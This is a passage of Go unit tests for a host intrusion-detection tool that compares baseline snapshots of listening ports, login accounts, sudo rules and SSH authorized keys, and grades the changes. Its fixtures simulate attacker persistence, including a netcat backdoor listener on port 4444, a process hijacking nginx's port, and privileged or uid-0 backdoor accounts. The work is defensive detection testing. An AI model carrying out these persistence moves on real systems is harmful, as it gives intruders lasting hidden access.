sock("tcp", "0.0.0.0", 443, "nginx", 2),
})
base := &baselineFile{Coverage: baselineCoverage(true, true, true, true), Entries: known}
keptBase, keptLive, notes, _ := deltaComparableClasses(base, nil, deltaSight{Identities: true}, nil)
for _, e := range deltaCompare(keptBase, keptLive) {
if e.Kind == deltaListenerGone {
t.Fatal("a blind socket read still reports every listener gone")
}
}
if !strings.Contains(strings.Join(notes, " "), "could not be read on this pass") {
t.Errorf("notes do not say the class was unreadable: %v", notes)
}
}
// The guard read the machine a SECOND time, so a reader that flipped
// between the two reads either invented findings or discarded real ones. The
// live entries and the comparability decision now come from one read.
func TestTheGuardUsesTheReadThatBuiltTheLiveEntries(t *testing.T) {
base := &baselineFile{
Coverage: baselineCoverage(true, true, true, true),
Entries: []baselineEntry{},
}
// The pass SAW listeners and found a backdoor. Under the old shape a
// second read that failed would have thrown this away.
found, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 4444, "nc", 9)})
keptBase, keptLive, _, _ := deltaComparableClasses(base, liveList(found),
deltaSight{Listeners: true, Identities: true}, nil)
evs := deltaCompare(keptBase, keptLive)
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
t.Fatalf("an observed backdoor was discarded: %v", kindsOf(evs))
}
// And a pass that did NOT see the class does not compare it, whatever a
// later read would have said.
_, keptLive2, _, _ := deltaComparableClasses(base, liveList(found), deltaSight{Identities: true}, nil)
for _, l := range keptLive2 {
if l.Entry.Kind == "listener" {
t.Fatal("a class the pass did not see was still compared")
}
}
}
// An unreadable key file fingerprinted identically to an account with no
// keys, so the person read "authorized keys 1 → 0" — keys were removed — about
// a box that never looked.
func TestUnreadableKeysAreNotReportedAsKeysRemoved(t *testing.T) {
was := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", AuthKeys: 1, KeyDigest: "d1"})}
blind := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", KeysUnread: "permission denied"})}
if was[0].FP == blind[0].FP {
t.Fatal("an unreadable key file fingerprints the same as no keys")
}
evs := deltaCompare(was, liveList(blind))
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
t.Fatalf("want one identity_changed, got %v", kindsOf(evs))
}
if evs[0].Reason != deltaReasonUnreadable {
t.Errorf("reason = %q, want %q — a visibility change, not a machine change",
evs[0].Reason, deltaReasonUnreadable)
}
if got := deltaLevel(evs[0]); got != deltaNotice {
t.Errorf("a blind read levelled %q, want notice", got)
}
if w := identityChangeWords(was[0], blind[0]); !strings.Contains(w, "could not read") {
t.Errorf("the sentence %q asserts something about the account anyway", w)
}
// AND THE SAME FOR SUDO. Unreadable sudo rules recorded sudo=false for
// every account, so the next readable pass fired sudoers_changed at
// CRITICAL for each one.
sudoBlind := []baselineEntry{baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", AuthKeys: 1, KeyDigest: "d1", SudoUnknown: true})}
evs = deltaCompare(was, liveList(sudoBlind))
if len(evs) != 1 || deltaLevel(evs[0]) != deltaNotice {
t.Fatalf("unreadable sudo rules produced %v at %v, want one notice",
kindsOf(evs), deltaLevel(evs[0]))
}
}
// `erin,dave ALL=(ALL:ALL) ALL` is ordinary sudoers. It recorded a
// principal literally named "erin,dave" and left both accounts sudo=false — a
// missed privilege grant, and a false critical when a name was added.
func TestACommaSeparatedUserListNamesEveryAccountInIt(t *testing.T) {
out, groups := map[string]bool{}, map[string]bool{}
sudoParse([]string{
"erin,dave ALL=(ALL:ALL) ALL",
"%wheel,%admin ALL=(ALL) NOPASSWD: ALL",
"root ALL=(ALL:ALL) ALL",
"Defaults env_reset",
"# a comment",
}, out, groups)
for _, want := range []string{"erin", "dave", "root"} {
if !out[want] {
t.Errorf("%q is not recognised as holding sudo — a missed privilege grant", want)
}
}
if out["erin,dave"] {
t.Error("a literal \"erin,dave\" principal was recorded")
}
for _, want := range []string{"wheel", "admin"} {
if !groups[want] {
t.Errorf("group %q in a comma list was not expanded", want)
}
}
if out["Defaults"] || out["#"] {
t.Error("a Defaults or comment line produced a principal")
}
}
// A second uid-0 account is not an account, it is a root login under
// another name — and it graded below "a key was added".
func TestASecondRootAccountIsCritical(t *testing.T) {
newRoot := baselineEntryOfIdentity(identityObs{Name: "toor", UID: 0, Shell: "/bin/bash"})
ev := deltaEvent{Kind: deltaIdentityNew, Entry: newRoot}
if got := deltaLevel(ev); got != deltaCritical {
t.Errorf("a new uid-0 account levelled %q, want critical", got)
}
was := baselineEntryOfIdentity(identityObs{Name: "erin", UID: 1000, Shell: "/bin/bash"})
now := baselineEntryOfIdentity(identityObs{Name: "erin", UID: 0, Shell: "/bin/bash"})
ch := deltaEvent{Kind: deltaIdentityChanged, Reason: identityChangeReason(was, now), Entry: now}
if got := deltaLevel(ch); got != deltaCritical {
t.Errorf("an account moved to uid 0 levelled %q, want critical", got)
}
}
// `apt install postgresql` creates a service account with a login shell.
// At high, every package install pages someone, and a plane that pages for
// ordinary work gets ignored.
func TestAServiceAccountFromAPackageInstallDoesNotPage(t *testing.T) {
svc := baselineEntryOfIdentity(identityObs{Name: "postgres", UID: 114, Shell: "/bin/bash"})
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: svc}); got != deltaWarn {
t.Errorf("a new service account levelled %q, want warn", got)
}
// But a service-uid account arriving WITH sudo or keys is still the
// persistence move, and stays critical.
armed := baselineEntryOfIdentity(identityObs{Name: "postgres", UID: 114, Shell: "/bin/bash", Sudo: true})
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: armed}); got != deltaCritical {
t.Errorf("a service-uid account with sudo levelled %q, want critical", got)
}
// And a real person's account is unaffected.
person := baselineEntryOfIdentity(identityObs{Name: "intern", UID: 1001, Shell: "/bin/bash"})
if got := deltaLevel(deltaEvent{Kind: deltaIdentityNew, Entry: person}); got != deltaHigh {
t.Errorf("a new login account levelled %q, want high", got)
}
}
// 15 of 54 listeners on a real box are pinned to a specific address,
// including a DHCP lease. Every address change was a fresh high that repeated
// on every pass, because nothing retakes the accounting.
func TestAReAddressedListenerIsNotGradedAsANewOne(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.1.5", 8080, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "192.168.9.9", 8080, "app", 5)})
evs := deltaCompare(was, liveList(now))
var newEv *deltaEvent
for i := range evs {
if evs[i].Kind == deltaListenerNew {
newEv = &evs[i]
}
}
if newEv == nil {
t.Fatal("a re-addressed listener produced no listener_new at all")
}
if newEv.Reason != deltaReasonAddressMoved {
t.Errorf("reason = %q, want %q", newEv.Reason, deltaReasonAddressMoved)
}
if got := deltaLevel(*newEv); got != deltaWarn {
t.Errorf("a DHCP re-address levelled %q, want warn", got)
}
// THE EXCLUSION THAT KEEPS THE CLASS WORTH HAVING: loopback to routable is
// the exposure change this exists to catch and must stay high.
wasLocal, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 8080, "app", 5)})
nowOpen, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 8080, "app", 5)})
for _, e := range deltaCompare(wasLocal, liveList(nowOpen)) {
if e.Kind != deltaListenerNew {
continue
}
if e.Reason == deltaReasonAddressMoved {
t.Error("loopback → routable was written off as a re-addressing")
}
if got := deltaLevel(e); got != deltaHigh {
t.Errorf("a service opening itself to the network levelled %q, want high", got)
}
}
}
// A `systemctl restart` landing inside a pass reported the port gone
// immediately while the process behind it got ten minutes.
func TestEveryClassGetsTheGraceNotJustProcessesAndSchedulers(t *testing.T) {
for _, kind := range []string{deltaProcGone, deltaSchedGone, deltaListenerGone, deltaIdentityGone} {
if !deltaIsGone(kind) {
t.Errorf("%s is not treated as an absence, so it bypasses the grace", kind)
}
st := freshState(t)
ev := deltaEvent{Kind: kind, FP: "fp-" + kind}
if out := deltaApplyGrace([]deltaEvent{ev}, st, time.Now()); len(out) != 0 {
t.Errorf("%s was reported on the FIRST scan that missed it", kind)
}
}
}
// A box with AuthorizedKeysFile pointing elsewhere recorded "no keys" for
// everyone, silently — the class went narrow with no note.
func TestANonDefaultAuthorizedKeysLocationIsReadAndSaidOutLoud(t *testing.T) {
home := t.TempDir()
central := filepath.Join(home, "central")
if err := os.MkdirAll(central, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(central, "erin"), []byte("ssh-ed25519 AAAAK x\n"), 0o600); err != nil {
t.Fatal(err)
}
keys, unread := authorizedKeysOf(home, "erin", "1000", []string{filepath.Join(central, "%u")})
if unread != "" {
t.Fatalf("a readable central key file reported unreadable: %s", unread)
}
if identityCountKeys(keys) != 1 {
t.Errorf("central keys not read: %d", identityCountKeys(keys))
}
// The %u token and an absolute path both have to work, and a relative one
// still resolves under the home.
if got := authorizedKeysPath(".ssh/authorized_keys", "/home/erin", "erin", "1000"); got != "/home/erin/.ssh/authorized_keys" {
t.Errorf("relative path resolved to %q", got)
}
if got := authorizedKeysPath("/etc/ssh/keys/%u", "/home/erin", "erin", "1000"); got != "/etc/ssh/keys/erin" {
t.Errorf("%%u expanded to %q", got)
}
}
// A home directory that is not there is a box that did not look — an unmounted
// /home, a network home not yet available — and reading it as "no keys" made
// every account report authkeys_changed the moment the mount appeared.
func TestAnAbsentHomeDirectoryIsBlindNotKeyless(t *testing.T) {
_, unread := authorizedKeysOf("/definitely/not/here", "ghost", "1002",
[]string{".ssh/authorized_keys", ".ssh/authorized_keys2"})
if unread == "" {
t.Fatal("an absent home directory read as an account with no keys")
}
// A home that IS there with no .ssh is genuinely none, and says nothing.
if _, u := authorizedKeysOf(t.TempDir(), "erin", "1000",
[]string{".ssh/authorized_keys", ".ssh/authorized_keys2"}); u != "" {
t.Errorf("an account with no keys reported %q", u)
}
}
// withSockets points BOTH socket readers at one report — listenerScan for the
// accounting and deltaListeningPIDs for the noise filter's exemption.
func withSockets(t *testing.T, r socketsReport) {
t.Helper()
oL, oD := listenerSockets, deltaSockets
listenerSockets = func() socketsReport { return r }
deltaSockets = func() socketsReport { return r }
t.Cleanup(func() { listenerSockets, deltaSockets = oL, oD })
}
func withSshdConfig(t *testing.T, body string) {
t.Helper()
old := sshdConfigPath
p := filepath.Join(t.TempDir(), "sshd_config")
if body != "" {
if err := os.WriteFile(p, []byte(body), 0o644); err != nil {
t.Fatal(err)
}
}
sshdConfigPath = p
t.Cleanup(func() { sshdConfigPath = old })
}
// The AuthorizedKeysFile override, through the parse. A path-expansion test
// alone exercised the EXPANSION but never the
// sshd_config parse, so a mutation that ignored the override entirely left the
// suite green — the class would silently narrow to the default pair.
func TestTheAuthorizedKeysLocationComesFromSshdConfig(t *testing.T) {
withSshdConfig(t, "Port 22\n# a comment\nAuthorizedKeysFile /etc/ssh/keys/%u\n")
paths, note := authorizedKeysPaths()
if len(paths) != 1 || paths[0] != "/etc/ssh/keys/%u" {
t.Fatalf("the override was ignored: %v", paths)
}
if note == "" {
t.Error("a narrowed key lookup was not said out loud at all")
}
// AND THE NOTE CARRIES NO PATH. It reaches deltaSummary.Note, which rides
// the heartbeat, so the first version of it put a line of the user's own
// sshd configuration on the wire every pass.
if strings.Contains(note, "/etc/ssh/keys/") || strings.Contains(note, "%u") {
t.Errorf("the note carries the user's sshd configuration off their machine: %q", note)
}
// `none` means no account has keys to account for, which is a different
// fact from "this box found none".
withSshdConfig(t, "AuthorizedKeysFile none\n")
if paths, note := authorizedKeysPaths(); len(paths) != 0 || !strings.Contains(note, "none") {
t.Errorf("AuthorizedKeysFile none gave paths=%v note=%q", paths, note)
}
// No sshd on the box: the default pair is the right guess and needs no note.
withSshdConfig(t, "")
if paths, note := authorizedKeysPaths(); len(paths) != 2 || note != "" {
t.Errorf("a box with no sshd_config gave paths=%v note=%q", paths, note)
}
// Silent by default: a stock config must not produce a note, or the note
// stops meaning anything.
withSshdConfig(t, "Port 22\nPermitRootLogin no\n")
if paths, note := authorizedKeysPaths(); len(paths) != 2 || note != "" {
t.Errorf("a stock sshd_config gave paths=%v note=%q", paths, note)
}
}
// A NARROWED READ MUST SAY SO. identityScanReport.Partial was set by the reader and read NOWHERE,
// so a class that went narrow — sudo rules unopenable, keys read from somewhere
// this does not look — reported a confident answer over the gap. The entries it
// produced are real and still compared; what was missing was the sentence
// saying the answer covers less than it looks.
func TestAPartiallyReadIdentityClassSaysSoOnThePass(t *testing.T) {
oI := deltaIdentityReader
deltaIdentityReader = func() identityScanReport {
return identityScanReport{Supported: true,
Partial: "sudo rules not readable: /etc/sudoers",
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash", SudoUnknown: true}}}
}
oL := deltaListenerReader
deltaListenerReader = func() ([]listenSocket, bool, string) { return nil, false, "no ss" }
t.Cleanup(func() { deltaIdentityReader, deltaListenerReader = oI, oL })
_, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
if !sight.Identities {
t.Fatal("a partially-read class reported as blind — its real entries would be dropped")
}
if len(sight.Notes) != 1 || !strings.Contains(sight.Notes[0], "sudo rules not readable") {
t.Fatalf("the reader's partial note did not reach the pass: %v", sight.Notes)
}
}
+469
View File
@@ -0,0 +1,469 @@
package main
// Tests for the listener and identity classes. Each one pins a sentence the
// plane is supposed to be able to say, or a false finding it must not produce.
import (
"strings"
"testing"
)
func sock(proto, local string, port int, proc string, pid int) listenSocket {
return listenSocket{Proto: proto, Local: local, Port: port, Process: proc, PID: pid}
}
func kindsOf(evs []deltaEvent) []string {
out := make([]string, 0, len(evs))
for _, e := range evs {
out = append(out, e.Kind)
}
return out
}
// liveList is the plural of delta_test.go's liveOf, which takes one entry.
func liveList(entries []baselineEntry) []deltaLiveEntry {
out := make([]deltaLiveEntry, 0, len(entries))
for _, e := range entries {
out = append(out, deltaLiveEntry{Entry: e})
}
return out
}
// ── listeners ───────────────────────────────────────────────────────────────
// THE SENTENCE THE SLOT EXISTS FOR. A different program answering on a port
// that was already open is ONE event that says so — not a gone and a new that a
// person has to correlate by eye.
func TestADifferentProgramOnAKnownPortIsOneChangedNotAGoneAndANew(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 443, "nginx", 10)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 443, "evil", 99)})
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 || evs[0].Kind != deltaListenerChanged {
t.Fatalf("want one listener_changed, got %v", kindsOf(evs))
}
if evs[0].Was == nil || evs[0].Was.ArgvShape != "nginx" {
t.Error("the event does not carry what used to hold the port")
}
if got := deltaLevel(evs[0]); got != deltaHigh {
t.Errorf("a service replaced at a known port levelled %q, want high", got)
}
// And the words name both sides and the port, because that is the finding.
var words string
for _, e := range evs[0].Evidence {
if e.Signal == "listener-holder-changed" {
words = e.Value
}
}
for _, want := range []string{"nginx", "evil", "443"} {
if !strings.Contains(words, want) {
t.Errorf("evidence %q does not name %q", words, want)
}
}
}
// A port nothing was on before. The one the class is really for.
func TestAPortNothingWasOnBeforeIsListenerNewAndItsLevelFollowsTheAddress(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 5432, "postgres", 3)})
exposed, _ := baselineFromListeners([]listenSocket{
sock("tcp", "127.0.0.1", 5432, "postgres", 3),
sock("tcp", "0.0.0.0", 4444, "nc", 77),
})
evs := deltaCompare(was, liveList(exposed))
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
t.Fatalf("want one listener_new, got %v", kindsOf(evs))
}
if got := deltaLevel(evs[0]); got != deltaHigh {
t.Errorf("a new listener on a routable address levelled %q, want high", got)
}
// THE SAME PORT ON LOOPBACK IS NOT THE SAME FINDING. A developer running
// something locally must not page anyone, and the address is in the slot
// precisely so this can be told apart.
local, _ := baselineFromListeners([]listenSocket{
sock("tcp", "127.0.0.1", 5432, "postgres", 3),
sock("tcp", "127.0.0.1", 4444, "nc", 77),
})
evs = deltaCompare(was, liveList(local))
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
t.Fatalf("want one listener_new, got %v", kindsOf(evs))
}
if got := deltaLevel(evs[0]); got != deltaWarn {
t.Errorf("a new loopback listener levelled %q, want warn", got)
}
}
// THE SAME SERVICE MOVING FROM LOOPBACK TO THE WILDCARD IS THE FINDING, and
// the address being in the slot is what makes it visible at all. This is the
// judgement baseline_listeners.go's header argues for, so it is pinned.
func TestAServiceThatStartsBindingTheWildcardIsReported(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "127.0.0.1", 9000, "app", 5)})
now, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 9000, "app", 5)})
evs := deltaCompare(was, liveList(now))
var sawNew bool
for _, e := range evs {
if e.Kind == deltaListenerNew && deltaLevel(e) == deltaHigh {
sawNew = true
}
}
if !sawNew {
t.Fatalf("a service that opened itself to the network produced %v, with no high listener_new", kindsOf(evs))
}
}
// Four workers accept()ing one bound port are one listener to a person.
func TestOneBindPointWithSeveralWorkersIsOneEntryCarryingEveryPID(t *testing.T) {
entries, pids := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 80, "nginx", 11),
sock("tcp", "0.0.0.0", 80, "nginx", 12),
sock("tcp", "0.0.0.0", 80, "nginx", 13),
})
if len(entries) != 1 {
t.Fatalf("want one folded entry, got %d", len(entries))
}
if len(pids[0]) != 3 {
t.Errorf("the folded entry carries %v, want all three worker pids", pids[0])
}
}
// THE COLLISION THE MARKER EXISTS TO STOP. `ss` omits the process column for
// sockets this account may not read. Recording that as the empty string would
// make every unreadable socket ONE fingerprint, so the second and later ones
// would never be reported at all.
func TestTwoSocketsWithNoReadableOwnerStayDistinct(t *testing.T) {
entries, _ := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 8000, "", 0),
sock("tcp", "0.0.0.0", 9999, "", 0),
})
if len(entries) != 2 {
t.Fatalf("two unreadable sockets folded into %d entries — one of them can never be reported", len(entries))
}
if entries[0].FP == entries[1].FP {
t.Error("two different bind points share a fingerprint")
}
if !strings.Contains(entries[0].ArgvShape, "unreadable") {
t.Errorf("an unreadable owner reads as %q, which does not say the box could not look", entries[0].ArgvShape)
}
}
// ── identities ──────────────────────────────────────────────────────────────
func idEntry(name string, sudo bool, keys int, digest, shell string) baselineEntry {
return baselineEntryOfIdentity(identityObs{
Name: name, UID: 1000, Shell: shell, Sudo: sudo, AuthKeys: keys, KeyDigest: digest,
})
}
// A NEW ACCOUNT THAT ARRIVES ALREADY PRIVILEGED IS NOT HOW A COLLEAGUE IS
// ADDED. It is how persistence is installed, and the level says so.
func TestANewAccountIsHighAndCriticalWhenItArrivesArmed(t *testing.T) {
base := []baselineEntry{idEntry("erin", false, 1, "d1", "/bin/bash")}
plain := append([]baselineEntry{}, base...)
plain = append(plain, idEntry("intern", false, 0, "", "/bin/bash"))
evs := deltaCompare(base, liveList(plain))
if len(evs) != 1 || evs[0].Kind != deltaIdentityNew {
t.Fatalf("want one identity_new, got %v", kindsOf(evs))
}
if got := deltaLevel(evs[0]); got != deltaHigh {
t.Errorf("a plain new account levelled %q, want high", got)
}
for _, armed := range []baselineEntry{
idEntry("backdoor", true, 0, "", "/bin/bash"), // sudo on arrival
idEntry("backdoor", false, 2, "dx", "/bin/sh"), // keys on arrival
} {
live := append([]baselineEntry{}, base...)
live = append(live, armed)
evs := deltaCompare(base, liveList(live))
if len(evs) != 1 {
t.Fatalf("want one event, got %v", kindsOf(evs))
}
if got := deltaLevel(evs[0]); got != deltaCritical {
t.Errorf("an account arriving with sudo or keys levelled %q, want critical", got)
}
}
}
// Granting sudo to an EXISTING account must read as a change to that account,
// never as a new one — the slot is the account for exactly this reason.
func TestGrantingSudoIsACriticalChangeToAKnownAccountNotANewOne(t *testing.T) {
was := []baselineEntry{idEntry("erin", false, 1, "d1", "/bin/bash")}
now := []baselineEntry{idEntry("erin", true, 1, "d1", "/bin/bash")}
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
t.Fatalf("want one identity_changed, got %v", kindsOf(evs))
}
if evs[0].Reason != deltaReasonSudoers {
t.Errorf("reason = %q, want %q", evs[0].Reason, deltaReasonSudoers)
}
if got := deltaLevel(evs[0]); got != deltaCritical {
t.Errorf("privilege moving levelled %q, want critical", got)
}
if w := identityChangeWords(was[0], now[0]); !strings.Contains(w, "sudo") {
t.Errorf("the sentence %q does not mention sudo", w)
}
}
// THE CASE A COUNT CANNOT SEE, and the only reason the digest is kept at all:
// one key swapped for another is the same number and a different machine.
func TestAKeySwappedAtTheSameCountIsStillReported(t *testing.T) {
was := []baselineEntry{idEntry("erin", false, 1, "digest-of-old-key", "/bin/bash")}
now := []baselineEntry{idEntry("erin", false, 1, "digest-of-new-key", "/bin/bash")}
evs := deltaCompare(was, liveList(now))
if len(evs) != 1 || evs[0].Kind != deltaIdentityChanged {
t.Fatalf("a key swap at an unchanged count produced %v — it is invisible", kindsOf(evs))
}
if evs[0].Reason != deltaReasonAuthKeys {
t.Errorf("reason = %q, want %q", evs[0].Reason, deltaReasonAuthKeys)
}
if got := deltaLevel(evs[0]); got != deltaHigh {
t.Errorf("a swapped key levelled %q, want high", got)
}
if w := identityChangeWords(was[0], now[0]); !strings.Contains(w, "not the same keys") {
t.Errorf("the sentence %q does not say the keys differ at the same count", w)
}
}
// The digest must not churn on things that grant nothing, or the class becomes
// noise and people stop reading it.
func TestTheKeyDigestIgnoresOrderCommentsAndBlankLines(t *testing.T) {
a := identityKeyDigest([]string{
"ssh-ed25519 AAAAKEY1 erin@laptop",
"ssh-rsa AAAAKEY2 erin@desktop",
})
reordered := identityKeyDigest([]string{
"ssh-rsa AAAAKEY2 erin@desktop",
"ssh-ed25519 AAAAKEY1 erin@laptop",
})
if a != reordered {
t.Error("reordering authorized_keys changed the digest — every config-management rewrite would be a finding")
}
recommented := identityKeyDigest([]string{
"ssh-ed25519 AAAAKEY1 a-new-comment",
"# a comment line",
"",
"ssh-rsa AAAAKEY2 erin@desktop",
})
if a != recommented {
t.Error("renaming a key's comment changed the digest")
}
if n := identityCountKeys([]string{"ssh-rsa AAAAK x", "# no", "", " "}); n != 1 {
t.Errorf("counted %d keys, want 1 — comments and blanks are not grants", n)
}
// A REAL CHANGE STILL MOVES IT, or none of the above is worth anything.
if a == identityKeyDigest([]string{"ssh-ed25519 AAAAKEY1 x", "ssh-rsa AAAADIFFERENT y"}) {
t.Error("a different key produced the same digest")
}
}
// THE PRIVACY PROPERTY, pinned. The accounting holds the shape of an identity
// and never its content; baseline_identity.go's header states it and this is
// what would catch someone widening it.
func TestTheAccountingNeverHoldsKeyMaterial(t *testing.T) {
const secret = "AAAAC3NzaC1lZDI1NTE5AAAAISECRETKEYBODY"
keys := []string{"ssh-ed25519 " + secret + " erin@laptop"}
e := baselineEntryOfIdentity(identityObs{
Name: "erin", UID: 1000, Shell: "/bin/bash", Sudo: true,
AuthKeys: identityCountKeys(keys), KeyDigest: identityKeyDigest(keys),
})
blob := e.FP + e.Kind + e.Unit + e.User + e.ArgvShape + e.Origin + e.DigestNote + e.Signature
if strings.Contains(blob, secret) {
t.Fatal("the key body is in the accounting")
}
n, nok := e.identityKeys()
sudo, sok := e.identitySudo()
if !nok || n != 1 || !sok || !sudo {
t.Errorf("the shape did not survive the round trip: keys=%d known=%v sudo=%v known=%v",
n, nok, sudo, sok)
}
}
// A system account is not a way onto the machine, and fifty of them would bury
// the one that is.
func TestOnlyAccountsWithALoginShellAreAccounted(t *testing.T) {
for _, s := range []string{"/usr/sbin/nologin", "/sbin/nologin", "/bin/false", ""} {
if identityIsLoginShell(s) {
t.Errorf("%q counted as a login shell", s)
}
}
for _, s := range []string{"/bin/bash", "/bin/zsh", "/usr/bin/fish", "/opt/weird/shell"} {
if !identityIsLoginShell(s) {
t.Errorf("%q did not count as a login shell — an unusual shell is MORE interesting, not less", s)
}
}
}
// ── the class guard ─────────────────────────────────────────────────────────
//
// The two false-finding floods deltaComparableClasses exists to stop. Both are
// reachable on a real machine and neither is a fact about the machine — they
// are facts about what was readable, which is the distinction this whole plane
// is built on.
func withReaders(t *testing.T, listeners bool, identities bool) {
t.Helper()
oL, oI := deltaListenerReader, deltaIdentityReader
deltaListenerReader = func() ([]listenSocket, bool, string) {
if !listeners {
return nil, false, "no ss on this box"
}
return []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}, true, ""
}
deltaIdentityReader = func() identityScanReport {
if !identities {
return identityScanReport{Reason: "cannot read the account database"}
}
return identityScanReport{Supported: true,
Accounts: []identityObs{{Name: "erin", UID: 1000, Shell: "/bin/bash"}}}
}
t.Cleanup(func() { deltaListenerReader, deltaIdentityReader = oL, oI })
}
// FLOOD ONE: the accounting was taken before this box could see listeners.
// Every listener on it would compare against nothing and come out as new — on a
// machine where nothing changed at all.
func TestAListenerClassMissingFromTheAccountingIsNotReportedAsAllNew(t *testing.T) {
base := &baselineFile{
Coverage: baselineCoverage(true, true, false, true), // listeners=unsupported
Entries: []baselineEntry{procEntry("d", "root", "svc", "x")},
}
liveListeners, _ := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 22, "sshd", 1),
sock("tcp", "0.0.0.0", 443, "nginx", 2),
})
live := append(liveList(liveListeners), deltaLiveEntry{Entry: base.Entries[0]})
keptBase, keptLive, notes, _ := deltaComparableClasses(base, live, deltaSight{Listeners: true, Identities: true}, nil)
for _, e := range deltaCompare(keptBase, keptLive) {
if strings.HasPrefix(e.Kind, "listener") {
t.Fatalf("a listener event fired against an accounting that never saw listeners: %s", e.Kind)
}
}
if !strings.Contains(strings.Join(notes, " "), "listeners are not in the accounting") {
t.Errorf("the pass did not SAY it cannot report listeners; notes = %v", notes)
}
}
// FLOOD TWO, and the worse of the two: the accounting HAS the class and this
// pass went blind. Every entry would come out `_gone` — "the listeners all
// stopped" reads as an incident rather than as a blindfold.
func TestAClassThisPassCannotReadIsNotReportedAsAllGone(t *testing.T) {
known, _ := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 22, "sshd", 1),
sock("tcp", "0.0.0.0", 443, "nginx", 2),
})
base := &baselineFile{
Coverage: baselineCoverage(true, true, true, true),
Entries: append(known, idEntry("erin", false, 1, "d1", "/bin/bash")),
}
// The live side saw neither class, which is exactly what a blind pass looks
// like: no entries, and no way to tell that from "they are all gone".
keptBase, keptLive, notes, _ := deltaComparableClasses(base, nil, deltaSight{}, nil)
for _, e := range deltaCompare(keptBase, keptLive) {
if strings.HasPrefix(e.Kind, "listener") || strings.HasPrefix(e.Kind, "identity") {
t.Fatalf("a blind pass reported %s — that is a blindfold being read as an incident", e.Kind)
}
}
joined := strings.Join(notes, " ")
for _, want := range []string{"listeners are in the accounting", "identities are in the accounting"} {
if !strings.Contains(joined, want) {
t.Errorf("the pass did not say which class it could not read; notes = %v", notes)
}
}
}
// AND WHEN BOTH SIDES CAN SEE, THE CLASS IS COMPARED NORMALLY — without this
// the two tests above would pass on a plane that had simply stopped working.
func TestAClassBothSidesCanSeeIsStillCompared(t *testing.T) {
was, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)})
base := &baselineFile{Coverage: baselineCoverage(true, true, true, true), Entries: was}
now, _ := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 22, "sshd", 1),
sock("tcp", "0.0.0.0", 4444, "nc", 9),
})
keptBase, keptLive, notes, _ := deltaComparableClasses(base, liveList(now), deltaSight{Listeners: true, Identities: true}, nil)
evs := deltaCompare(keptBase, keptLive)
if len(evs) != 1 || evs[0].Kind != deltaListenerNew {
t.Fatalf("want one listener_new when both sides can see, got %v (notes %v)", kindsOf(evs), notes)
}
if len(notes) != 0 {
t.Errorf("a fully-sighted pass still carried a cannot-compare note: %v", notes)
}
}
// A baseline taken before either class existed says nothing about them, and
// that is the ordinary upgrade path — every box in the fleet is in this state
// the first time it runs a bastion carrying these classes.
func TestAnAccountingFromBeforeTheseClassesAsksForARetakeRatherThanFlooding(t *testing.T) {
base := &baselineFile{
Coverage: "processes=all,schedulers=all", // what earlier versions wrote
Entries: []baselineEntry{procEntry("d", "root", "svc", "x")},
}
listeners, _ := baselineFromListeners([]listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)})
live := append(liveList(listeners), deltaLiveEntry{Entry: base.Entries[0]})
keptBase, keptLive, notes, _ := deltaComparableClasses(base, live, deltaSight{Listeners: true, Identities: true}, nil)
if evs := deltaCompare(keptBase, keptLive); len(evs) != 0 {
t.Fatalf("upgrading the bastion produced findings on an unchanged machine: %v", kindsOf(evs))
}
if !strings.Contains(strings.Join(notes, " "), "take it again") {
t.Errorf("the note does not tell the operator what to do; notes = %v", notes)
}
}
// THE SIGHT MUST COME FROM THE READERS, and until this test nothing checked
// that — the guard tests hand deltaComparableClasses a deltaSight directly, so
// a deltaCollectLive that always reported "I saw both" would have passed every
// one of them while reintroducing the exact flood the guard exists to stop.
func TestTheSightIsWhatTheReadersActuallySaid(t *testing.T) {
for _, tc := range []struct{ listeners, identities bool }{
{true, true}, {true, false}, {false, true}, {false, false},
} {
withReaders(t, tc.listeners, tc.identities)
_, _, _, sight, _ := deltaCollectLive(func(string) (string, string) { return "", "" })
if sight.Listeners != tc.listeners {
t.Errorf("readers said listeners=%v, sight says %v", tc.listeners, sight.Listeners)
}
if sight.Identities != tc.identities {
t.Errorf("readers said identities=%v, sight says %v", tc.identities, sight.Identities)
}
}
}
// AND A BLIND READER CONTRIBUTES NO ENTRIES, which is the other half: a sight
// of false with entries in the list would mean the guard dropped real
// observations, and a sight of true with none is the state that reports
// everything gone.
func TestABlindReaderContributesNoEntriesOfItsClass(t *testing.T) {
